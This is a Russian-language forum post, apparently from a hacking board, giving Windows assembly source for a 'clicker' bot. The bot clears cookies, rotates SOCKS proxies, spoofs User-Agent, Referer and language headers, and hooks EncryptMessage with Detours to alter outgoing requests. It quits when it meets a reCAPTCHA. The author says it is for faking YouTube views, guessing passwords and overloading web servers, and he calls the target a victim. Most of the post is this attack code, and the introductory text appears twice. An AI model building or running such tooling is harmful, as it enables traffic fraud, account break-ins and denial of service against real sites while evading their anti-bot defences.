viktor plutt
Заблокирован
Привет всем.
Счас я вам покажу как накодить кликер на асме. Для тех кто в танке кликер - это программа имитирующая нажатие на ссылки в броузере. Кроме кликания по ссылкам можно подбирать пароли, накручивать видео в Ютубе, веб сервер подрючить.
Прога для винды - использует СОМ интерфейсы IWebBrowser2 и IXMLHTTPRequest2 и библиотеку detourus. Основные модули.
1. модуль получения списка сокс-прокси IWebBrowser2
2. модуль ИП то Контри IXMLHTTPRequest2
3. модуль имитации действия пользователя IWebBrowser2
Суть процесса проста - сначала удаляем все кукисы, потом из списка выбираем и ставим в заголовок поле Referer:, потом определяем страну нахождения прокси, подключаем прокси, заменяем в заголовке поле Accept-Language на страну нахождения прокси, потом из списка выбираем и ставим в заголовок поле User-Agent. Ну и наконец посылаем запрос нашей жертве.
Не смотря на то что прога будет работать на одном компе сервер будет видеть запросы поступающие из разных стран разных систем.
пример как части кода для Ютуба
замена строки агента
изменение прокси
удаление кукисов
либа Detour
получение кода страны по ИП
А теперь все кто прочитал писайте кипятком от того какой я умный. Если кто сомневается, что это все работает могу покликать на этой теме пару миллионов раз
Счас я вам покажу как накодить кликер на асме. Для тех кто в танке кликер - это программа имитирующая нажатие на ссылки в броузере. Кроме кликания по ссылкам можно подбирать пароли, накручивать видео в Ютубе, веб сервер подрючить.
Прога для винды - использует СОМ интерфейсы IWebBrowser2 и IXMLHTTPRequest2 и библиотеку detourus. Основные модули.
1. модуль получения списка сокс-прокси IWebBrowser2
2. модуль ИП то Контри IXMLHTTPRequest2
3. модуль имитации действия пользователя IWebBrowser2
Суть процесса проста - сначала удаляем все кукисы, потом из списка выбираем и ставим в заголовок поле Referer:, потом определяем страну нахождения прокси, подключаем прокси, заменяем в заголовке поле Accept-Language на страну нахождения прокси, потом из списка выбираем и ставим в заголовок поле User-Agent. Ну и наконец посылаем запрос нашей жертве.
Не смотря на то что прога будет работать на одном компе сервер будет видеть запросы поступающие из разных стран разных систем.
пример как части кода для Ютуба
Код:
IBrowserHost_Ruun proc uses edi esi ebx pThis_:dword
LOCAL ppClnSit : dword
LOCAL widChr[600h]:byte
LOCAL tmpVal : dword
LOCAL Rect : RECT
LOCAL ppv : dword
LOCAL pVarnt : VARIANT
LOCAL pVarnt1 : VARIANT
LOCAL pVarnt2 : VARIANT
LOCAL pVarnt3 : VARIANT
LOCAL pVarnt4 : VARIANT
LOCAL pVarnt5 : VARIANT
mov ebx, pThis_
mov ebx, (OBJECT_ENTRY ptr [ebx]).pBase
mov ebx, (OBJECT_DATA ptr [ebx]).pPrivDat
push pThis_
call CreateWin
invoke CoCreateInstance, offset CLSID_InternetExplorer, 0, 3, offset IID_IOleObject, addr ppv
coinvoke pThis_, IUnknown, QueryInterface, offset IID_IOleClientSite, addr ppClnSit
coinvoke ppv, IOleObject, SetClientSite, ppClnSit
invoke GetClientRect, (OBJECT_PRIVATE_DATA ptr [ebx]).hWin, addr Rect
coinvoke ppv, IOleObject, DoVerb, OLEIVERB_INPLACEACTIVATE, addr tmpVal, pThis_, 0, (OBJECT_PRIVATE_DATA ptr [ebx]).hWin, addr Rect
coinvoke ppv, IUnknown, QueryInterface, offset IID_IWebBrowser2, addr (OBJECT_PRIVATE_DATA ptr [ebx]).pBrwser
invoke ConnectEventSource, (OBJECT_PRIVATE_DATA ptr [ebx]).pBrwser, offset IID_IWebBrowserEvents2, offset objWebBrowserEvents2, pThis_, addr tmpVal
mov ecx, tmpVal
mov (OBJECT_PRIVATE_DATA ptr [ebx]).pdwCookie, ecx
coinvoke ppv, IUnknown, QueryInterface, offset IID_IOleInPlaceObject, addr (OBJECT_PRIVATE_DATA ptr [ebx]).pInpObj
.if dword ptr (OBJECT_PRIVATE_DATA ptr [ebx]).pInpObj == 0
coinvoke (OBJECT_PRIVATE_DATA ptr [ebx]).pInpObj, IOleInPlaceObject, SetObjectRects, addr Rect, addr Rect
.endif
mov edx, Rect.Right
sub edx, Rect.Left
shl edx, 10h
or edx, Rect.Bottom
sub edx, Rect.Top
invoke SendMessageA, (OBJECT_PRIVATE_DATA ptr [ebx]).hWin, WM_SIZE, 0, edx
mov pVarnt5.vt, VT_BOOL
mov pVarnt5.boolVal, VARIANT_TRUE
invoke PropPutVal, (OBJECT_PRIVATE_DATA ptr [ebx]).pBrwser, offset aSilent, addr pVarnt5
mov pVarnt5.vt, VT_BOOL
mov pVarnt5.boolVal, VARIANT_TRUE
invoke PropPutVal, (OBJECT_PRIVATE_DATA ptr [ebx]).pBrwser, offset aScrErro, addr pVarnt5
invoke GetTickCount
lea esi, refLabl
mov ecx, 4
xor edx, edx
idiv ecx
mov edx, [esi+edx*4]
.if edx == 0
lea edx, sedrrrr4
.endif
invoke MultiByteToWideChar, 0, 0, edx, -1, addr widChr, 600h
invoke SysAllocString, addr widChr
mov pVarnt5.vt, VT_BSTR
mov pVarnt5.bstrVal, eax
mov pVarnt4.vt, VT_EMPTY
mov pVarnt4.lVal, 0
mov pVarnt3.vt, VT_EMPTY
mov pVarnt3.bstrVal, 0
mov pVarnt2.vt, VT_I4
mov pVarnt2.lVal, 14
mov pVarnt1.vt, VT_BSTR
invoke SysAllocString, addr (OBJECT_PRIVATE_DATA ptr [ebx]).Buff
mov pVarnt1.bstrVal, eax
invoke CallMetod, (OBJECT_PRIVATE_DATA ptr [ebx]).pBrwser, offset aNavigate2, addr pVarnt5, 5, addr pVarnt
xor eax, eax
ret
IBrowserHost_Ruun endp
;======================================================
IWebBrowserEvents2 proc uses edi esi ebx This_:dword, IdMember:dword, riid:dword, lcid:dword, wFlags:dword, pDParam:dword, pVrRes:dword, pExpInf:dword, puArgErr:dword
LOCAL lpBuf[3000] : byte
LOCAL pThis : dword
LOCAL pVarnt : VARIANT
LOCAL pVarnt4 : VARIANT
LOCAL pElmButt : dword
LOCAL pBowser : dword
mov ebx, This_
mov ebx, (OBJECT_ENTRY ptr [ebx]).pBase
mov ebx, (OBJECT_DATA ptr [ebx]).pPrivDat
mov pThis, ebx
.if IdMember == DISPID_DOCUMENTCOMPLETE
mov ebx, (OBJECT_ENTRY ptr [ebx]).pBase
mov ebx, (OBJECT_DATA ptr [ebx]).pPrivDat
invoke PropGetVal, (OBJECT_PRIVATE_DATA ptr [ebx]).pBrwser, offset aDocument, addr pVarnt
.if eax == 0 && pVarnt.bstrVal != 0
mov eax, pVarnt.bstrVal
mov (OBJECT_PRIVATE_DATA ptr [ebx]).pIdoc, eax
coinvoke (OBJECT_PRIVATE_DATA ptr [ebx]).pIdoc, IUnknown, QueryInterface, addr IID_IHTMLDocument2, addr (OBJECT_PRIVATE_DATA ptr [ebx]).pDoc
invoke PropGetVal, (OBJECT_PRIVATE_DATA ptr [ebx]).pDoc, offset areadyState, addr pVarnt
invoke lstrcpyW, addr lpBuf, pVarnt.bstrVal
invoke SysFreeString, pVarnt.bstrVal
invoke lstrcmpiW, addr lpBuf, addr acomplete
.if eax == 0
invoke PropGetVal, (OBJECT_PRIVATE_DATA ptr [ebx]).pDoc, offset aurl, addr pVarnt
invoke lstrcpyW, addr lpBuf, pVarnt.bstrVal
invoke SysFreeString, pVarnt.bstrVal
invoke StrStrIW, addr lpBuf, addr aerrrrtrt
.if eax != 0
invoke WriteLogFileX, addr badloggg, addr sokcbfff
invoke ExitProcess, 0
.endif
mov pElmButt, 0
invoke PropGetVal, (OBJECT_PRIVATE_DATA ptr [ebx]).pDoc, offset abody, addr pVarnt
.if eax == 0 && pVarnt.pdispVal != 0
push pVarnt.pdispVal
pop pElmButt
invoke PropGetVal, pElmButt, offset aouterHTML, addr pVarnt
.if eax == 0 && pVarnt.bstrVal != 0
invoke StrStrIW, pVarnt.bstrVal, addr arecaptcha
.if eax != 0
invoke WriteLogFileX, addr badloggg, addr sokcbfff
invoke ExitProcess, 0
.endif
invoke SysFreeString, pVarnt.bstrVal
.endif
coinvoke pElmButt, IUnknown, Release
.endif
.endif
coinvoke (OBJECT_PRIVATE_DATA ptr [ebx]).pDoc, IUnknown, Release
coinvoke (OBJECT_PRIVATE_DATA ptr [ebx]).pIdoc, IUnknown, Release
.endif
xor eax, eax
.endif
ret
IWebBrowserEvents2 endp
замена строки агента
Код:
invoke GetTickCount
mov ecx, 13
xor edx, edx
idiv ecx
lea esi, useragents
mov esi, [esi+edx*4]
invoke lstrlen, esi
invoke UrlMkSetSessionOption, INTERNET_OPTION_USERAGENT, esi, eax, 0
изменение прокси
Код:
mov IntInfo.dwAccessType, INTERNET_OPEN_TYPE_PROXY
lea eax, sokcbuf
mov IntInfo.lpszProxy, eax
mov IntInfo.lpszProxyBypass, 0
invoke UrlMkSetSessionOption, INTERNET_OPTION_PROXY, addr IntInfo, sizeof INTERNET_PROXY_INFO, 0
invoke UrlMkSetSessionOption, INTERNET_OPTION_PROXY_SETTINGS_CHANGED, 0, 0, 0
удаление кукисов
Код:
libname db "inetcpl.cpl",0
procnm db "ClearMyTracksByProcessW",0
parm1 db "Flags:8388610 WinX:0 WinY:0 IEFrame:0000000000000000",0
invoke LoadLibrary, addr libname
mov esi, eax
.if esi != 0
invoke GetProcAddress, esi, addr procnm
mov esi, eax
.if esi != 0
invoke MultiByteToWideChar, 0, 0, addr parm1, -1, addr lpBuf1, 200
push offset lpBuf1
push 0
push 0
call esi
.endif
.endif
либа Detour
Код:
.code
LibMain proc uses edi esi ebx hInstDLL:DWORD, reason:DWORD, unused:DWORD
invoke DetourIsHelperProcess
.if eax != 1
.if reason == DLL_PROCESS_ATTACH
invoke DetourRestoreAfterWith
invoke DetourTransactionBegin
invoke GetCurrentThread
invoke DetourUpdateThread, eax
invoke DetourAttachEx, addr TrueEncryptMessage, addr FakeEncryptMessage, addr ppRealEncryptMessage, addr ppEncryptMessageTarget, addr ppEncryptMessageDetour
invoke DetourTransactionCommit
.elseif reason == DLL_PROCESS_DETACH
invoke DetourTransactionBegin
invoke GetCurrentThread
invoke DetourUpdateThread, eax
invoke DetourDetach, addr TrueEncryptMessage, addr FakeEncryptMessage
invoke DetourTransactionCommit
.endif
.endif
mov eax, 1
ret
LibMain Endp
UntimedSleepEx proc uses esi edi ebx pProxstr:dword
invoke lstrcpy, addr proxybuf, pProxstr
ret
UntimedSleepEx endp
FakeEncryptMessage proc uses esi edi ebx, phContext:dword, fQOP:dword, pMessage:dword, MessageSeqNo:dword
mov esi, pMessage
.if pMessage != 0
xor ebx, ebx
mov edi, (SecBufferDesc ptr [esi]).pBuffers
.while ebx < dword ptr (SecBufferDesc ptr [esi]).cBuffers
mov ecx, (SecBuffer ptr [edi]).BufferType
and ecx, 0fffh
.if (ecx == 1 )
mov eax, (SecBuffer ptr [edi]).pvBuffer
.if dword ptr [eax] == ' TEG' || dword ptr [eax] == 'TSOP'
invoke strstr, (SecBuffer ptr [edi]).pvBuffer, addr szrr
.if eax != 0
push eax
pop ecx
invoke memcpy, ecx, addr proxybuf, 5
.endif
.endif
.endif
inc ebx
add edi, sizeof SecBuffer
.endw
.endif
push MessageSeqNo
push pMessage
push fQOP
push phContext
call ppRealEncryptMessage
ret
FakeEncryptMessage endp
получение кода страны по ИП
Код:
IpToCoumtry proc uses esi edi ebx pIpadr:dword, poutp:dword
LOCAL xmlHTTP : dword
LOCAL wcbuf[600] : byte
LOCAL chrbuf[200] : byte
LOCAL lVarnt : VARIANT
LOCAL ldwres : dword
LOCAL pmrty : dword
invoke CoInitialize, 0
mov ldwres, 0
mov xmlHTTP, 0
invoke CoCreateInstance, addr CLSID_FreeThreadedXMLHTTP60, 0, CLSCTX_INPROC_SERVER, addr IID_IXMLHTTPRequest2, addr xmlHTTP
;---
.if xmlHTTP == 0
jmp @@Err
.endif
;---
invoke lstrcpy, addr chrbuf, addr szHostfr
invoke lstrcat, addr chrbuf, pIpadr
invoke lstrcat, addr chrbuf, addr szHostsc
invoke MultiByteToWideChar, 0, 0, addr chrbuf, -1, addr wcbuf, 600
coinvoke xmlHTTP, IXMLHTTPRequest2, Open, addr aGET, addr wcbuf, 0,0,0,0,0,0,0,0,0,0,0,0
invoke MultiByteToWideChar, 0, 0, addr szAccept1, -1, addr wcbuf, 600
coinvoke xmlHTTP, IXMLHTTPRequest2, SetRequestHeader, addr aAccept, addr wcbuf
coinvoke xmlHTTP, IXMLHTTPRequest2, SetRequestHeader, addr aAccept_language, addr aus
coinvoke xmlHTTP, IXMLHTTPRequest2, SetRequestHeader, addr aAccept_Encoding, addr azip
invoke MultiByteToWideChar, 0, 0, addr smozel, -1, addr wcbuf, 600
coinvoke xmlHTTP, IXMLHTTPRequest2, SetRequestHeader, addr aUser_Agent, addr wcbuf
coinvoke xmlHTTP, IXMLHTTPRequest2, SetRequestHeader, addr aHost, addr agoogee
coinvoke xmlHTTP, IXMLHTTPRequest2, SetRequestHeader, addr aConnection, addr aKeep_Alive
invoke CallMetod, xmlHTTP, offset aSend, 0, 0, addr lVarnt
invoke CoTaskMemAlloc, 1024*1024
.if eax == 0
jmp @@Err
.endif
mov esi, eax
mov pmrty, eax
invoke PropGetVal, xmlHTTP, offset aresponseText, addr lVarnt
invoke WideCharToMultiByte, 0,0, lVarnt.bstrVal, -1, esi, 1024*1024, 0,0
invoke SysFreeString, lVarnt.bstrVal
mov lVarnt.lVal, 0
invoke PropGetVal, xmlHTTP, offset astatus, addr lVarnt
.if lVarnt.lVal != 200 && eax == 0
mov ldwres, -1
@@det5:
coinvoke xmlHTTP, IUnknown, Release
.if eax != 0
jmp @@det5
.endif
jmp @@Err1
.endif
@@det6:
coinvoke xmlHTTP, IUnknown, Release
.if eax != 0
jmp @@det6
.endif
invoke lstrlen, esi
.if eax > 2
mov ldwres, -1
jmp @@Err1
.endif
invoke lstrcpy, addr chrbuf, esi
invoke CharLower, addr chrbuf
invoke wsprintfA, poutp, addr temlf, addr chrbuf, esi
mov ldwres, 1
@@Err1:
invoke CoTaskMemFree, pmrty
@@Err:
mov eax, ldwres
ret
IpToCoumtry endp
А теперь все кто прочитал писайте кипятком от того какой я умный. Если кто сомневается, что это все работает могу покликать на этой теме пару миллионов раз
Последнее редактирование: